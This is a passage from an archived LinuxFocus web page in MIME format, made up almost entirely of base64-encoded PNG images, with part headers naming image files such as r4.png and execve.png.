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 RK5CYII= ------=_NextPart_000_0007_01C0F71D.98C08540 Content-Type: image/png Content-Transfer-Encoding: base64 Content-Location: http://www.linuxfocus.org/common/images/article183/r4.png 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 /wNwBNv369HfUwAAAABJRU5ErkJggg== ------=_NextPart_000_0007_01C0F71D.98C08540 Content-Type: image/png Content-Transfer-Encoding: base64 Content-Location: http://www.linuxfocus.org/common/images/article183/execve.png iVBORw0KGgoAAAANSUhEUgAAAeEAAAFACAIAAAAEaFMSAAAACXBIWXMAAAxNAAAMTQHSzq1OAAAA HXRFWHRTb2Z0d2FyZQBHTlUgR2hvc3RzY3JpcHQgNS41MOX7i5QAABNRSURBVHic7d1hkqM6lgZQ PNEL65XMGnIpuYZeyezM84MuHoVAYCybe9E58eJFFmmwROLP8gWjx/P5HAAI6X+ubgAAm2Q0QFwy GiAuGQ0Ql4wGiEtGA8QlowHiktEAcclogLhkNEBc/7q6Afk8Ho/FkvH79OXy1YctNlX/Lv7qNsun mzayupDsKodB/TEvPfL5fC5+tXpczX915JjfbdiR3lXacHsy+jXjgXLw2K08bGth+dv5gbiI4MWz LNrAbZR/68fjsXiD3zoeFodZ+ZjyfX316D19zO827Ejvjryg7kqt4y2LgcBWOFZCs360LVY8MugW 0D04OIwd1uL4pYNq96lPHPO7D9jt3fHu34CMPmO1pFA/KF96JZw4+AQ0dceLIburf+KYP6LPUp6M PunNw2X8KFcfDqxudnWhgO7NwXfx4zXc0zF9zsFC30fbkIV69Gvm50B2z/h9h4Dux9Y5vcpjjm+z Et9NjvndhlV6F/B19zUy+mXzwe+5fJwfZOPB9/5h19uB27ndYu6oVcX2/WP+pYZVPkG+2YaM1DpO mioVw9ny8aRVSzo5hdKzVw+5Iyl2POnePOZ3n/TIxhu2IQsZ/ZZzlejhz6E2P+CatKSTo7ZnHy0E f6EBTTbeyQh6JKNf0yQEVy9+Krf86nOJ6U68+od+szLwuSPq4Fe0PtqG+GT0y+aHy4cOna1Pcwdr I01KKER2PKbLExWnr+w8vfrWNusXmVRiuqvD24mm1xy5mKlyevrItwcrzzVsxPdWpvvj3kP9b33w Gx+rW6tsdlre6pjfetJzvevn2JbRAHGpdQDEJaMB4pLRAHH5nuFfevu2Xof9vboJsFR/DQbK6PKa h907CZx7iq5SiQV/fULZHTeEq3WULyEvKqBb4TK6CR9pgXsIVOs4Yl79mBcuyp+VNYAbCJfR9dt7 LxK5jOzpZ+kM3EC4jK58i1TsAr1JVo9WaAa6kimjVTCA3qTJaCNooEPhMnrrVvfT2cLpso35D/Nr Oaa1xDqQXaBzhrvfXnlp4rU2bQK4VLhxNAATGQ0Ql4wGiEtGA8QlowHiktEAcclogLhkNEBcMhog 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 